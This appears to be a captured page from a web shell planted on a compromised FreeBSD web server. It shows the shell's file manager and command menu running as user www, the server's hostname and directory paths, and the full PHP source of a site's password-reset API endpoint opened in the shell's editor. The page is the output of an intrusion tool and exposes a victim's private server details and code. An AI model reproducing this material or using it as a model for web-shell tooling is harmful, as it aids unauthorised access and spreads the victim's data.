TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Users
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Users/ResetPassword.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Users; use Application\IUser; use Nette\Database\Context; use RestServer\ErrorCodes; use RestServer\Exceptions\AuthenticationException; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\DataException; use RestServer\Exceptions\ForbiddenRequestException; use RestServer\Exceptions\InvalidParameterException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\Exceptions\NotFoundException; use RestServer\IIdentity; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Teze\Forms\Controls\Date; use Teze\Rest\Server\Exceptions\RecordNotFoundException; /** * Reset user password. Parameter "token" or "current_password" is required. * @author Jan Pospisil * @param ( * required = 1, * name = new_password, * type = string, * ) * @param ( * name = token, * type = string, * ) * @param ( * name = current_password, * type = string, * ) */ class ResetPassword extends \Nette\Object implements IPresenter { private $connection; private $identity; public function __construct(Context $context, IIdentity $identity){ $this->connection = $context; $this->identity = $identity; } /** * Reset user password. * @param IParametrs $parameters * @param Response $response * @throws AuthenticationException * @throws DataException * @throws ForbiddenRequestException * @throws InvalidParameterException * @throws MissingRequiredParameterException * @throws RecordNotFoundException */ public function run(IParametrs $parameters, Response $response) { $token = $parameters->post('token'); $password = $parameters->post('new_password'); $current = $parameters->post('current_password'); $id = $parameters->path('id'); if(!$password) throw new MissingRequiredParameterException('New password is required.'); if(!\Model\User\User::isPasswordValid($password)) throw new InvalidParameterException('Password is not valid.'); $userRow = $this->connection->table('user')->get($id); if(!$userRow) throw new NotFoundException('User not found.'); if(!$token && !$current) throw new MissingRequiredParameterException('Parameter "token" or "current_password" is required.'); if($current){ if(\Model\User\User::calculateHash($current) != $userRow->password) throw new AuthenticationException('Invalid current password.'); } else{ $tokenRow = $this->connection->table('reset_password_request')->where('token', $token)->fetch(); if(!$tokenRow) throw new NotFoundException('Invalid token.'); if($tokenRow->expiration < new \DateTime()) throw new DataException('Token expired.'); if($tokenRow->user_id != $id) throw new BadRequestException('User ID does not match with token.'); } // everything OK $userRow->update(array('password' => \Model\User\User::calculateHash($password))); $this->connection->table('reset_password_request')->where('user_id', $id)->delete(); } }
Crotin
Name
Size
Permissions
Modified
User/Group
User.php
1499
0644
2016-01-14 22:08:37
Unknown/Unknown
ForgottenPassword.php
3131
0644
2016-01-11 22:55:22
Unknown/Unknown
ResetPassword.php
3062
0644
2016-01-11 22:55:21
Unknown/Unknown
Account
-
0755
2016-01-11 22:58:16
Unknown/Unknown
Users.php
1491
0644
2016-01-15 10:19:48
Unknown/Unknown
PostFacebook.php
2369
0644
2016-02-27 10:21:45
Unknown/Unknown
CreateRequest.php
2881
0644
2016-01-11 22:55:22
Unknown/Unknown
FindUsername.php
1344
0644
2016-01-11 22:55:22
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin